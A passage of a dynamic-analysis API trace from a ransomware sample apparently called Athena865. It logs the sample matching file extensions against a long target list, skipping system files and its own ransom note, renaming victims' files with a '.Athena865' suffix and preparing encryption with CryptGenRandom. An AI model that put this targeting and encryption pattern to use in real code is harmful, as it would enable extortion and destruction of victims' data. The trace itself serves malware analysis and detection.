(lpString1="hmx", lpString2="cdb") returned 1 [0065.844] lstrlenW (lpString="ckp") returned 3 [0065.844] lstrcmpiW (lpString1="hmx", lpString2="ckp") returned 1 [0065.844] lstrlenW (lpString="cma") returned 3 [0065.844] lstrcmpiW (lpString1="hmx", lpString2="cma") returned 1 [0065.844] lstrlenW (lpString="cpd") returned 3 [0065.844] lstrcmpiW (lpString1="hmx", lpString2="cpd") returned 1 [0065.844] lstrlenW (lpString="dacpac") returned 6 [0065.844] lstrcmpiW (lpString1="e.thmx", lpString2="dacpac") returned 1 [0065.844] lstrlenW (lpString="dad") returned 3 [0065.844] lstrcmpiW (lpString1="hmx", lpString2="dad") returned 1 [0065.844] lstrlenW (lpString="dadiagrams") returned 10 [0065.844] lstrcmpiW (lpString1="odule.thmx", lpString2="dadiagrams") returned 1 [0065.844] lstrlenW (lpString="daschema") returned 8 [0065.844] lstrcmpiW (lpString1="ule.thmx", lpString2="daschema") returned 1 [0065.845] lstrlenW (lpString="db-journal") returned 10 [0065.845] lstrcmpiW (lpString1="odule.thmx", lpString2="db-journal") returned 1 [0065.845] lstrlenW (lpString="db-shm") returned 6 [0065.845] lstrcmpiW (lpString1="e.thmx", lpString2="db-shm") returned 1 [0065.845] lstrlenW (lpString="db-wal") returned 6 [0065.845] lstrcmpiW (lpString1="e.thmx", lpString2="db-wal") returned 1 [0065.845] lstrlenW (lpString="dbc") returned 3 [0065.845] lstrcmpiW (lpString1="hmx", lpString2="dbc") returned 1 [0065.845] lstrlenW (lpString="dbs") returned 3 [0065.845] lstrcmpiW (lpString1="hmx", lpString2="dbs") returned 1 [0065.845] lstrlenW (lpString="dbt") returned 3 [0065.845] lstrcmpiW (lpString1="hmx", lpString2="dbt") returned 1 [0065.845] lstrlenW (lpString="dbv") returned 3 [0065.845] lstrcmpiW (lpString1="hmx", lpString2="dbv") returned 1 [0065.845] lstrlenW (lpString="dbx") returned 3 [0065.845] lstrcmpiW (lpString1="hmx", lpString2="dbx") returned 1 [0065.845] lstrlenW (lpString="dcb") returned 3 [0065.845] lstrcmpiW (lpString1="hmx", lpString2="dcb") returned 1 [0065.845] lstrlenW (lpString="dct") returned 3 [0065.845] lstrcmpiW (lpString1="hmx", lpString2="dct") returned 1 [0065.845] lstrlenW (lpString="dcx") returned 3 [0065.845] lstrcmpiW (lpString1="hmx", lpString2="dcx") returned 1 [0065.845] lstrlenW (lpString="ddl") returned 3 [0065.845] lstrcmpiW (lpString1="hmx", lpString2="ddl") returned 1 [0065.845] lstrlenW (lpString="dlis") returned 4 [0065.845] lstrcmpiW (lpString1="thmx", lpString2="dlis") returned 1 [0065.845] lstrlenW (lpString="dp1") returned 3 [0065.845] lstrcmpiW (lpString1="hmx", lpString2="dp1") returned 1 [0065.845] lstrlenW (lpString="dqy") returned 3 [0065.845] lstrcmpiW (lpString1="hmx", lpString2="dqy") returned 1 [0065.845] lstrlenW (lpString="dsk") returned 3 [0065.845] lstrcmpiW (lpString1="hmx", lpString2="dsk") returned 1 [0065.845] lstrlenW (lpString="dsn") returned 3 [0065.845] lstrcmpiW (lpString1="hmx", lpString2="dsn") returned 1 [0065.845] lstrlenW (lpString="dtsx") returned 4 [0065.845] lstrcmpiW (lpString1="thmx", lpString2="dtsx") returned 1 [0065.846] lstrlenW (lpString="dxl") returned 3 [0065.846] lstrcmpiW (lpString1="hmx", lpString2="dxl") returned 1 [0065.846] lstrlenW (lpString="eco") returned 3 [0065.846] lstrcmpiW (lpString1="hmx", lpString2="eco") returned 1 [0065.846] lstrlenW (lpString="ecx") returned 3 [0065.846] lstrcmpiW (lpString1="hmx", lpString2="ecx") returned 1 [0065.846] lstrlenW (lpString="edb") returned 3 [0065.846] lstrcmpiW (lpString1="hmx", lpString2="edb") returned 1 [0065.846] lstrlenW (lpString="epim") returned 4 [0065.846] lstrcmpiW (lpString1="thmx", lpString2="epim") returned 1 [0065.846] lstrlenW (lpString="fcd") returned 3 [0065.846] lstrcmpiW (lpString1="hmx", lpString2="fcd") returned 1 [0065.846] lstrlenW (lpString="fdb") returned 3 [0065.846] lstrcmpiW (lpString1="hmx", lpString2="fdb") returned 1 [0065.846] lstrlenW (lpString="fic") returned 3 [0065.846] lstrcmpiW (lpString1="hmx", lpString2="fic") returned 1 [0065.846] lstrlenW (lpString="flexolibrary") returned 12 [0065.846] lstrlenW (lpString="fm5") returned 3 [0065.846] lstrcmpiW (lpString1="hmx", lpString2="fm5") returned 1 [0065.846] lstrlenW (lpString="fmp") returned 3 [0065.846] lstrcmpiW (lpString1="hmx", lpString2="fmp") returned 1 [0065.846] lstrlenW (lpString="fmp12") returned 5 [0065.846] lstrcmpiW (lpString1=".thmx", lpString2="fmp12") returned -1 [0065.846] lstrlenW (lpString="fmpsl") returned 5 [0065.846] lstrcmpiW (lpString1=".thmx", lpString2="fmpsl") returned -1 [0065.846] lstrlenW (lpString="fol") returned 3 [0065.846] lstrcmpiW (lpString1="hmx", lpString2="fol") returned 1 [0065.846] lstrlenW (lpString="fp3") returned 3 [0065.846] lstrcmpiW (lpString1="hmx", lpString2="fp3") returned 1 [0065.846] lstrlenW (lpString="fp4") returned 3 [0065.846] lstrcmpiW (lpString1="hmx", lpString2="fp4") returned 1 [0065.846] lstrlenW (lpString="fp5") returned 3 [0065.846] lstrcmpiW (lpString1="hmx", lpString2="fp5") returned 1 [0065.846] lstrlenW (lpString="fp7") returned 3 [0065.847] lstrcmpiW (lpString1="hmx", lpString2="fp7") returned 1 [0065.847] lstrlenW (lpString="fpt") returned 3 [0065.847] lstrcmpiW (lpString1="hmx", lpString2="fpt") returned 1 [0065.847] lstrlenW (lpString="frm") returned 3 [0065.847] lstrcmpiW (lpString1="hmx", lpString2="frm") returned 1 [0065.847] lstrlenW (lpString="gdb") returned 3 [0065.847] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0065.847] lstrlenW (lpString="gdb") returned 3 [0065.847] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0065.847] lstrlenW (lpString="grdb") returned 4 [0065.847] lstrcmpiW (lpString1="thmx", lpString2="grdb") returned 1 [0065.847] lstrlenW (lpString="gwi") returned 3 [0065.847] lstrcmpiW (lpString1="hmx", lpString2="gwi") returned 1 [0065.847] lstrlenW (lpString="hdb") returned 3 [0065.847] lstrcmpiW (lpString1="hmx", lpString2="hdb") returned 1 [0065.847] lstrlenW (lpString="his") returned 3 [0065.847] lstrcmpiW (lpString1="hmx", lpString2="his") returned 1 [0065.847] lstrlenW (lpString="ib") returned 2 [0065.847] lstrcmpiW (lpString1="mx", lpString2="ib") returned 1 [0065.847] lstrlenW (lpString="idb") returned 3 [0065.847] lstrcmpiW (lpString1="hmx", lpString2="idb") returned -1 [0065.847] lstrlenW (lpString="ihx") returned 3 [0065.847] lstrcmpiW (lpString1="hmx", lpString2="ihx") returned -1 [0065.847] lstrlenW (lpString="itdb") returned 4 [0065.847] lstrcmpiW (lpString1="thmx", lpString2="itdb") returned 1 [0065.847] lstrlenW (lpString="itw") returned 3 [0065.847] lstrcmpiW (lpString1="hmx", lpString2="itw") returned -1 [0065.847] lstrlenW (lpString="jet") returned 3 [0065.847] lstrcmpiW (lpString1="hmx", lpString2="jet") returned -1 [0065.847] lstrlenW (lpString="jtx") returned 3 [0065.847] lstrcmpiW (lpString1="hmx", lpString2="jtx") returned -1 [0065.847] lstrlenW (lpString="kdb") returned 3 [0065.847] lstrcmpiW (lpString1="hmx", lpString2="kdb") returned -1 [0065.847] lstrlenW (lpString="kexi") returned 4 [0065.848] lstrcmpiW (lpString1="thmx", lpString2="kexi") returned 1 [0065.848] lstrlenW (lpString="kexic") returned 5 [0065.848] lstrcmpiW (lpString1=".thmx", lpString2="kexic") returned -1 [0065.848] lstrlenW (lpString="kexis") returned 5 [0065.848] lstrcmpiW (lpString1=".thmx", lpString2="kexis") returned -1 [0065.848] lstrlenW (lpString="lgc") returned 3 [0065.848] lstrcmpiW (lpString1="hmx", lpString2="lgc") returned -1 [0065.848] lstrlenW (lpString="lwx") returned 3 [0065.848] lstrcmpiW (lpString1="hmx", lpString2="lwx") returned -1 [0065.848] lstrlenW (lpString="maf") returned 3 [0065.848] lstrcmpiW (lpString1="hmx", lpString2="maf") returned -1 [0065.848] lstrlenW (lpString="maq") returned 3 [0065.848] lstrcmpiW (lpString1="hmx", lpString2="maq") returned -1 [0065.848] lstrlenW (lpString="mar") returned 3 [0065.848] lstrcmpiW (lpString1="hmx", lpString2="mar") returned -1 [0065.848] lstrlenW (lpString="marshal") returned 7 [0065.848] lstrcmpiW (lpString1="le.thmx", lpString2="marshal") returned -1 [0065.848] lstrlenW (lpString="mas") returned 3 [0065.848] lstrcmpiW (lpString1="hmx", lpString2="mas") returned -1 [0065.848] lstrlenW (lpString="mav") returned 3 [0065.848] lstrcmpiW (lpString1="hmx", lpString2="mav") returned -1 [0065.848] lstrlenW (lpString="maw") returned 3 [0065.848] lstrcmpiW (lpString1="hmx", lpString2="maw") returned -1 [0065.848] lstrlenW (lpString="mdbhtml") returned 7 [0065.848] lstrcmpiW (lpString1="le.thmx", lpString2="mdbhtml") returned -1 [0065.848] lstrlenW (lpString="mdn") returned 3 [0065.848] lstrcmpiW (lpString1="hmx", lpString2="mdn") returned -1 [0065.848] lstrlenW (lpString="mdt") returned 3 [0065.848] lstrcmpiW (lpString1="hmx", lpString2="mdt") returned -1 [0065.848] lstrlenW (lpString="mfd") returned 3 [0065.848] lstrcmpiW (lpString1="hmx", lpString2="mfd") returned -1 [0065.848] lstrlenW (lpString="mpd") returned 3 [0065.848] lstrcmpiW (lpString1="hmx", lpString2="mpd") returned -1 [0065.849] lstrlenW (lpString="mrg") returned 3 [0065.849] lstrcmpiW (lpString1="hmx", lpString2="mrg") returned -1 [0065.849] lstrlenW (lpString="mud") returned 3 [0065.849] lstrcmpiW (lpString1="hmx", lpString2="mud") returned -1 [0065.849] lstrlenW (lpString="mwb") returned 3 [0065.849] lstrcmpiW (lpString1="hmx", lpString2="mwb") returned -1 [0065.849] lstrlenW (lpString="myd") returned 3 [0065.849] lstrcmpiW (lpString1="hmx", lpString2="myd") returned -1 [0065.849] lstrlenW (lpString="ndf") returned 3 [0065.849] lstrcmpiW (lpString1="hmx", lpString2="ndf") returned -1 [0065.849] lstrlenW (lpString="nnt") returned 3 [0065.849] lstrcmpiW (lpString1="hmx", lpString2="nnt") returned -1 [0065.849] lstrlenW (lpString="nrmlib") returned 6 [0065.849] lstrcmpiW (lpString1="e.thmx", lpString2="nrmlib") returned -1 [0065.849] lstrlenW (lpString="ns2") returned 3 [0065.849] lstrcmpiW (lpString1="hmx", lpString2="ns2") returned -1 [0065.849] lstrlenW (lpString="ns3") returned 3 [0065.849] lstrcmpiW (lpString1="hmx", lpString2="ns3") returned -1 [0065.849] lstrlenW (lpString="ns4") returned 3 [0065.849] lstrcmpiW (lpString1="hmx", lpString2="ns4") returned -1 [0065.849] lstrlenW (lpString="nsf") returned 3 [0065.849] lstrcmpiW (lpString1="hmx", lpString2="nsf") returned -1 [0065.849] lstrlenW (lpString="nv") returned 2 [0065.849] lstrcmpiW (lpString1="mx", lpString2="nv") returned -1 [0065.849] lstrlenW (lpString="nv2") returned 3 [0065.849] lstrcmpiW (lpString1="hmx", lpString2="nv2") returned -1 [0065.849] lstrlenW (lpString="nwdb") returned 4 [0065.849] lstrcmpiW (lpString1="thmx", lpString2="nwdb") returned 1 [0065.849] lstrlenW (lpString="nyf") returned 3 [0065.849] lstrcmpiW (lpString1="hmx", lpString2="nyf") returned -1 [0065.849] lstrlenW (lpString="odb") returned 3 [0065.849] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0065.852] lstrlenW (lpString="odb") returned 3 [0065.852] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0065.852] lstrlenW (lpString="oqy") returned 3 [0065.852] lstrcmpiW (lpString1="hmx", lpString2="oqy") returned -1 [0065.853] lstrlenW (lpString="ora") returned 3 [0065.853] lstrcmpiW (lpString1="hmx", lpString2="ora") returned -1 [0065.853] lstrlenW (lpString="orx") returned 3 [0065.860] lstrcmpiW (lpString1="hmx", lpString2="orx") returned -1 [0065.860] lstrlenW (lpString="owc") returned 3 [0065.860] lstrcmpiW (lpString1="hmx", lpString2="owc") returned -1 [0065.860] lstrlenW (lpString="p96") returned 3 [0065.860] lstrcmpiW (lpString1="hmx", lpString2="p96") returned -1 [0065.860] lstrlenW (lpString="p97") returned 3 [0065.860] lstrcmpiW (lpString1="hmx", lpString2="p97") returned -1 [0065.860] lstrlenW (lpString="pan") returned 3 [0065.860] lstrcmpiW (lpString1="hmx", lpString2="pan") returned -1 [0065.860] lstrlenW (lpString="pdb") returned 3 [0065.860] lstrcmpiW (lpString1="hmx", lpString2="pdb") returned -1 [0065.860] lstrlenW (lpString="pdm") returned 3 [0065.860] lstrcmpiW (lpString1="hmx", lpString2="pdm") returned -1 [0065.860] lstrlenW (lpString="pnz") returned 3 [0065.860] lstrcmpiW (lpString1="hmx", lpString2="pnz") returned -1 [0065.860] lstrlenW (lpString="qry") returned 3 [0065.860] lstrcmpiW (lpString1="hmx", lpString2="qry") returned -1 [0065.860] lstrlenW (lpString="qvd") returned 3 [0065.860] lstrcmpiW (lpString1="hmx", lpString2="qvd") returned -1 [0065.860] lstrlenW (lpString="rbf") returned 3 [0065.860] lstrcmpiW (lpString1="hmx", lpString2="rbf") returned -1 [0065.860] lstrlenW (lpString="rctd") returned 4 [0065.860] lstrcmpiW (lpString1="thmx", lpString2="rctd") returned 1 [0065.860] lstrlenW (lpString="rod") returned 3 [0065.860] lstrcmpiW (lpString1="hmx", lpString2="rod") returned -1 [0065.860] lstrlenW (lpString="rodx") returned 4 [0065.860] lstrcmpiW (lpString1="thmx", lpString2="rodx") returned 1 [0065.860] lstrlenW (lpString="rpd") returned 3 [0065.860] lstrcmpiW (lpString1="hmx", lpString2="rpd") returned -1 [0065.860] lstrlenW (lpString="rsd") returned 3 [0065.860] lstrcmpiW (lpString1="hmx", lpString2="rsd") returned -1 [0065.860] lstrlenW (lpString="sas7bdat") returned 8 [0065.860] lstrcmpiW (lpString1="ule.thmx", lpString2="sas7bdat") returned 1 [0065.861] lstrlenW (lpString="sbf") returned 3 [0065.861] lstrcmpiW (lpString1="hmx", lpString2="sbf") returned -1 [0065.861] lstrlenW (lpString="scx") returned 3 [0065.861] lstrcmpiW (lpString1="hmx", lpString2="scx") returned -1 [0065.861] lstrlenW (lpString="sdb") returned 3 [0065.861] lstrcmpiW (lpString1="hmx", lpString2="sdb") returned -1 [0065.861] lstrlenW (lpString="sdc") returned 3 [0065.861] lstrcmpiW (lpString1="hmx", lpString2="sdc") returned -1 [0065.861] lstrlenW (lpString="sdf") returned 3 [0065.861] lstrcmpiW (lpString1="hmx", lpString2="sdf") returned -1 [0065.861] lstrlenW (lpString="sis") returned 3 [0065.861] lstrcmpiW (lpString1="hmx", lpString2="sis") returned -1 [0065.861] lstrlenW (lpString="spq") returned 3 [0065.861] lstrcmpiW (lpString1="hmx", lpString2="spq") returned -1 [0065.861] lstrlenW (lpString="te") returned 2 [0065.861] lstrcmpiW (lpString1="mx", lpString2="te") returned -1 [0065.861] lstrlenW (lpString="teacher") returned 7 [0065.861] lstrcmpiW (lpString1="le.thmx", lpString2="teacher") returned -1 [0065.861] lstrlenW (lpString="tmd") returned 3 [0065.861] lstrcmpiW (lpString1="hmx", lpString2="tmd") returned -1 [0065.861] lstrlenW (lpString="tps") returned 3 [0065.861] lstrcmpiW (lpString1="hmx", lpString2="tps") returned -1 [0065.861] lstrlenW (lpString="trc") returned 3 [0065.861] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0065.861] lstrlenW (lpString="trc") returned 3 [0065.861] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0065.861] lstrlenW (lpString="trm") returned 3 [0065.861] lstrcmpiW (lpString1="hmx", lpString2="trm") returned -1 [0065.861] lstrlenW (lpString="udb") returned 3 [0065.861] lstrcmpiW (lpString1="hmx", lpString2="udb") returned -1 [0065.861] lstrlenW (lpString="udl") returned 3 [0065.861] lstrcmpiW (lpString1="hmx", lpString2="udl") returned -1 [0065.861] lstrlenW (lpString="usr") returned 3 [0065.861] lstrcmpiW (lpString1="hmx", lpString2="usr") returned -1 [0065.862] lstrlenW (lpString="v12") returned 3 [0065.862] lstrcmpiW (lpString1="hmx", lpString2="v12") returned -1 [0065.862] lstrlenW (lpString="vis") returned 3 [0065.862] lstrcmpiW (lpString1="hmx", lpString2="vis") returned -1 [0065.862] lstrlenW (lpString="vpd") returned 3 [0065.862] lstrcmpiW (lpString1="hmx", lpString2="vpd") returned -1 [0065.862] lstrlenW (lpString="vvv") returned 3 [0065.862] lstrcmpiW (lpString1="hmx", lpString2="vvv") returned -1 [0065.862] lstrlenW (lpString="wdb") returned 3 [0065.862] lstrcmpiW (lpString1="hmx", lpString2="wdb") returned -1 [0065.862] lstrlenW (lpString="wmdb") returned 4 [0065.862] lstrcmpiW (lpString1="thmx", lpString2="wmdb") returned -1 [0065.862] lstrlenW (lpString="wrk") returned 3 [0065.862] lstrcmpiW (lpString1="hmx", lpString2="wrk") returned -1 [0065.862] lstrlenW (lpString="xdb") returned 3 [0065.862] lstrcmpiW (lpString1="hmx", lpString2="xdb") returned -1 [0065.862] lstrlenW (lpString="xld") returned 3 [0065.862] lstrcmpiW (lpString1="hmx", lpString2="xld") returned -1 [0065.862] lstrlenW (lpString="xmlff") returned 5 [0065.862] lstrcmpiW (lpString1=".thmx", lpString2="xmlff") returned -1 [0065.862] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx.Athena865") returned 74 [0065.862] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx.athena865"), dwFlags=0x1) returned 1 [0065.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.864] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=88122) returned 1 [0065.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.865] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.865] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.865] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.866] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15b40, lpName=0x0) returned 0x17c [0065.867] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15b40) returned 0x100000 [0065.871] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.872] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.872] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.875] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e64dd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e64dd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96ac7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Newsprint.thmx", cAlternateFileName="NEWSPR~1.THM")) returned 1 [0065.875] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0065.875] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.875] lstrcmpiW (lpString1="Newsprint.thmx", lpString2=".") returned 1 [0065.875] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="..") returned 1 [0065.875] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="windows") returned -1 [0065.875] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="bootmgr") returned 1 [0065.875] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="temp") returned -1 [0065.875] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="pagefile.sys") returned -1 [0065.875] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="boot") returned 1 [0065.875] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="ids.txt") returned 1 [0065.875] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="ntuser.dat") returned -1 [0065.876] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="perflogs") returned -1 [0065.876] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="MSBuild") returned 1 [0065.876] lstrlenW (lpString="Newsprint.thmx") returned 14 [0065.876] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Newsprint.thmx" | out: lpString1="Newsprint.thmx") returned="Newsprint.thmx" [0065.876] lstrlenW (lpString="Newsprint.thmx") returned 14 [0065.876] lstrlenW (lpString="Athena865") returned 9 [0065.876] lstrcmpiW (lpString1="rint.thmx", lpString2="Athena865") returned 1 [0065.876] lstrlenW (lpString=".dll") returned 4 [0065.876] lstrcmpiW (lpString1="Newsprint.thmx", lpString2=".dll") returned 1 [0065.876] lstrlenW (lpString=".lnk") returned 4 [0065.876] lstrcmpiW (lpString1="Newsprint.thmx", lpString2=".lnk") returned 1 [0065.876] lstrlenW (lpString=".ini") returned 4 [0065.876] lstrcmpiW (lpString1="Newsprint.thmx", lpString2=".ini") returned 1 [0065.876] lstrlenW (lpString=".sys") returned 4 [0065.876] lstrcmpiW (lpString1="Newsprint.thmx", lpString2=".sys") returned 1 [0065.876] lstrlenW (lpString="Newsprint.thmx") returned 14 [0065.876] lstrlenW (lpString="bak") returned 3 [0065.876] lstrcmpiW (lpString1="hmx", lpString2="bak") returned 1 [0065.876] lstrlenW (lpString="ba_") returned 3 [0065.876] lstrcmpiW (lpString1="hmx", lpString2="ba_") returned 1 [0065.876] lstrlenW (lpString="dbb") returned 3 [0065.876] lstrcmpiW (lpString1="hmx", lpString2="dbb") returned 1 [0065.876] lstrlenW (lpString="vmdk") returned 4 [0065.876] lstrcmpiW (lpString1="thmx", lpString2="vmdk") returned -1 [0065.876] lstrlenW (lpString="rar") returned 3 [0065.876] lstrcmpiW (lpString1="hmx", lpString2="rar") returned -1 [0065.876] lstrlenW (lpString="zip") returned 3 [0065.876] lstrcmpiW (lpString1="hmx", lpString2="zip") returned -1 [0065.876] lstrlenW (lpString="tgz") returned 3 [0065.876] lstrcmpiW (lpString1="hmx", lpString2="tgz") returned -1 [0065.876] lstrlenW (lpString="vbox") returned 4 [0065.876] lstrcmpiW (lpString1="thmx", lpString2="vbox") returned -1 [0065.876] lstrlenW (lpString="vdi") returned 3 [0065.877] lstrcmpiW (lpString1="hmx", lpString2="vdi") returned -1 [0065.877] lstrlenW (lpString="vhd") returned 3 [0065.877] lstrcmpiW (lpString1="hmx", lpString2="vhd") returned -1 [0065.877] lstrlenW (lpString="vhdx") returned 4 [0065.877] lstrcmpiW (lpString1="thmx", lpString2="vhdx") returned -1 [0065.877] lstrlenW (lpString="avhd") returned 4 [0065.877] lstrcmpiW (lpString1="thmx", lpString2="avhd") returned 1 [0065.877] lstrlenW (lpString="db") returned 2 [0065.877] lstrcmpiW (lpString1="mx", lpString2="db") returned 1 [0065.877] lstrlenW (lpString="db2") returned 3 [0065.877] lstrcmpiW (lpString1="hmx", lpString2="db2") returned 1 [0065.877] lstrlenW (lpString="db3") returned 3 [0065.877] lstrcmpiW (lpString1="hmx", lpString2="db3") returned 1 [0065.877] lstrlenW (lpString="dbf") returned 3 [0065.877] lstrcmpiW (lpString1="hmx", lpString2="dbf") returned 1 [0065.877] lstrlenW (lpString="mdf") returned 3 [0065.877] lstrcmpiW (lpString1="hmx", lpString2="mdf") returned -1 [0065.877] lstrlenW (lpString="mdb") returned 3 [0065.877] lstrcmpiW (lpString1="hmx", lpString2="mdb") returned -1 [0065.877] lstrlenW (lpString="sql") returned 3 [0065.877] lstrcmpiW (lpString1="hmx", lpString2="sql") returned -1 [0065.877] lstrlenW (lpString="sqlite") returned 6 [0065.877] lstrcmpiW (lpString1="t.thmx", lpString2="sqlite") returned 1 [0065.877] lstrlenW (lpString="sqlite3") returned 7 [0065.877] lstrcmpiW (lpString1="nt.thmx", lpString2="sqlite3") returned -1 [0065.877] lstrlenW (lpString="sqlitedb") returned 8 [0065.877] lstrcmpiW (lpString1="int.thmx", lpString2="sqlitedb") returned -1 [0065.877] lstrlenW (lpString="xml") returned 3 [0065.877] lstrcmpiW (lpString1="hmx", lpString2="xml") returned -1 [0065.877] lstrlenW (lpString="$er") returned 3 [0065.877] lstrcmpiW (lpString1="hmx", lpString2="$er") returned 1 [0065.877] lstrlenW (lpString="4dd") returned 3 [0065.877] lstrcmpiW (lpString1="hmx", lpString2="4dd") returned 1 [0065.877] lstrlenW (lpString="4dl") returned 3 [0065.877] lstrcmpiW (lpString1="hmx", lpString2="4dl") returned 1 [0065.878] lstrlenW (lpString="^^^") returned 3 [0065.878] lstrcmpiW (lpString1="hmx", lpString2="^^^") returned 1 [0065.878] lstrlenW (lpString="abs") returned 3 [0065.878] lstrcmpiW (lpString1="hmx", lpString2="abs") returned 1 [0065.878] lstrlenW (lpString="abx") returned 3 [0065.878] lstrcmpiW (lpString1="hmx", lpString2="abx") returned 1 [0065.878] lstrlenW (lpString="accdb") returned 5 [0065.878] lstrcmpiW (lpString1=".thmx", lpString2="accdb") returned -1 [0065.878] lstrlenW (lpString="accdc") returned 5 [0065.878] lstrcmpiW (lpString1=".thmx", lpString2="accdc") returned -1 [0065.878] lstrlenW (lpString="accde") returned 5 [0065.878] lstrcmpiW (lpString1=".thmx", lpString2="accde") returned -1 [0065.878] lstrlenW (lpString="accdr") returned 5 [0065.878] lstrcmpiW (lpString1=".thmx", lpString2="accdr") returned -1 [0065.878] lstrlenW (lpString="accdt") returned 5 [0065.878] lstrcmpiW (lpString1=".thmx", lpString2="accdt") returned -1 [0065.878] lstrlenW (lpString="accdw") returned 5 [0065.878] lstrcmpiW (lpString1=".thmx", lpString2="accdw") returned -1 [0065.878] lstrlenW (lpString="accft") returned 5 [0065.878] lstrcmpiW (lpString1=".thmx", lpString2="accft") returned -1 [0065.878] lstrlenW (lpString="adb") returned 3 [0065.878] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.878] lstrlenW (lpString="adb") returned 3 [0065.878] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.878] lstrlenW (lpString="ade") returned 3 [0065.878] lstrcmpiW (lpString1="hmx", lpString2="ade") returned 1 [0065.878] lstrlenW (lpString="adf") returned 3 [0065.878] lstrcmpiW (lpString1="hmx", lpString2="adf") returned 1 [0065.878] lstrlenW (lpString="adn") returned 3 [0065.878] lstrcmpiW (lpString1="hmx", lpString2="adn") returned 1 [0065.878] lstrlenW (lpString="adp") returned 3 [0065.878] lstrcmpiW (lpString1="hmx", lpString2="adp") returned 1 [0065.878] lstrlenW (lpString="alf") returned 3 [0065.878] lstrcmpiW (lpString1="hmx", lpString2="alf") returned 1 [0065.879] lstrlenW (lpString="ask") returned 3 [0065.879] lstrcmpiW (lpString1="hmx", lpString2="ask") returned 1 [0065.879] lstrlenW (lpString="btr") returned 3 [0065.879] lstrcmpiW (lpString1="hmx", lpString2="btr") returned 1 [0065.879] lstrlenW (lpString="cat") returned 3 [0065.879] lstrcmpiW (lpString1="hmx", lpString2="cat") returned 1 [0065.879] lstrlenW (lpString="cdb") returned 3 [0065.879] lstrcmpiW (lpString1="hmx", lpString2="cdb") returned 1 [0065.879] lstrlenW (lpString="ckp") returned 3 [0065.879] lstrcmpiW (lpString1="hmx", lpString2="ckp") returned 1 [0065.879] lstrlenW (lpString="cma") returned 3 [0065.879] lstrcmpiW (lpString1="hmx", lpString2="cma") returned 1 [0065.879] lstrlenW (lpString="cpd") returned 3 [0065.879] lstrcmpiW (lpString1="hmx", lpString2="cpd") returned 1 